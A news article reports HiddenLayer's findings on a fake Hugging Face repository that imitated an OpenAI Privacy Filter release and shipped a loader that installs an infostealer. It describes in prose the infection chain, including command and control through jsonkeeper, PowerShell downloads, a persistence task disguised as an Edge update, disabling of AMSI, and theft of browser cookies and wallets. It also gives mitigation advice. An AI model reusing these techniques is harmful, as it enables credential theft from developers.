Malicious AI Models Found on Hugging Face Disguised as Official OpenAI Releases

A malicious Hugging Face repository posing as an official OpenAI release delivered infostealer malware to Windows machines — racking up approximately 244,000 downloads before being removed. According to research from AI security firm HiddenLayer, the download count may have been artificially inflated by the attackers to make the model appear more credible, leaving the true scope of the attack unknown.

⚠️ The repository 'Open-OSS/privacy-filter' closely imitated OpenAI's Privacy Filter release — with the original model card copied nearly exactly — while embedding a malicious loader.py file that fetched and executed credential-stealing malware on Windows hosts.

The fake repository surged to the top of Hugging Face's "trending" list, accumulating 667 likes in under 18 hours — a figure that may also have been manipulated by the attackers.

🔗 A Growing Threat in the AI Supply Chain

Public AI model registries are increasingly becoming risks within the software supply chain. Developers and data scientists routinely clone models directly into corporate environments — environments with access to source code, cloud credentials, and internal systems. A compromised model repository in this context is far more than a nuisance.

The README file of the fraudulent model closely resembled the legitimate project but diverged critically by instructing users to run start.bat on Windows or execute python loader.py on Linux and macOS — instructions that were central to the infection chain described by HiddenLayer.

🔍 Previous warnings have noted that malicious code can be hidden inside AI model files or related setup scripts on Hugging Face and other public registries — including Pickle-serialised model files that bypassed platform scanners.

🛠️ Malicious Loader Disguised as Setup Code

HiddenLayer found that loader.py opened with decoy code resembling a normal AI model loader before quickly transitioning to a concealed infection chain:

• 🔒 A script disabled SSL verification
• 🔗 Decoded a base64-encoded URL linked to jsonkeeper.com
• 📡 Retrieved a remote payload instruction and passed commands to PowerShell on Windows
• 🔄 Used jsonkeeper.com as a command-and-control channel, allowing the attacker to rotate payloads without modifying the repository

The PowerShell command then downloaded an additional batch file from an attacker-controlled domain. The malware established persistence by creating a scheduled task designed to resemble a legitimate Microsoft Edge update process.

💀 The final payload was a Rust-based infostealer targeting: Chromium & Firefox-based browsers, Discord local storage, cryptocurrency wallets, FileZilla configurations, and host system data. It also attempted to disable Windows Antimalware Scan Interface (AMSI) and Event Tracing.

🌐 Wider Campaigns Uncovered

HiddenLayer identified six additional Hugging Face repositories containing virtually identical loader logic that shared infrastructure with the primary attack. This case follows prior warnings about malicious AI models on Hugging Face, including poisoned AI SDKs and fake OpenClaw installers.

The common thread: attackers are treating AI development workflows as a route into normally secure environments. AI repositories often contain executable code, setup instructions, dependency files, notebooks, and scripts — and it is these peripheral elements, rather than the models themselves, that introduce risk.

📊 Sakshi Grover, Senior Research Manager for Cybersecurity Services at IDC, noted that traditional Software Composition Analysis (SCA) was designed to inspect dependency manifests, libraries, and container images — making it less effective at identifying malicious loader logic in AI repositories.

IDC's November 2025 FutureScape report predicted that by 2027, 60% of agentic AI systems should have a bill of materials — helping companies track AI artefacts, their sources, approved versions, and whether they contain executable components.

🚨 Response & Mitigation

HiddenLayer advises anyone who cloned Open-OSS/privacy-filter and ran start.bat, python loader.py, or any file from the repository on a Windows host to treat the system as fully compromised and recommends re-imaging affected systems.

• 🍪 Browser sessions should be considered compromised even if passwords are not stored locally — session cookies can allow attackers to bypass MFA in certain circumstances
• ✅ Hugging Face has confirmed the repository has been removed

Image source: Pixabay, under licence.

Want to learn more about AI and big data from industry leaders? Check out the AI & Big Data Expo taking place in Amsterdam, California, and London — part of TechEx and co-located with other leading technology events.

AI News is powered by TechForge Media. Explore other upcoming enterprise technology events and webinars here.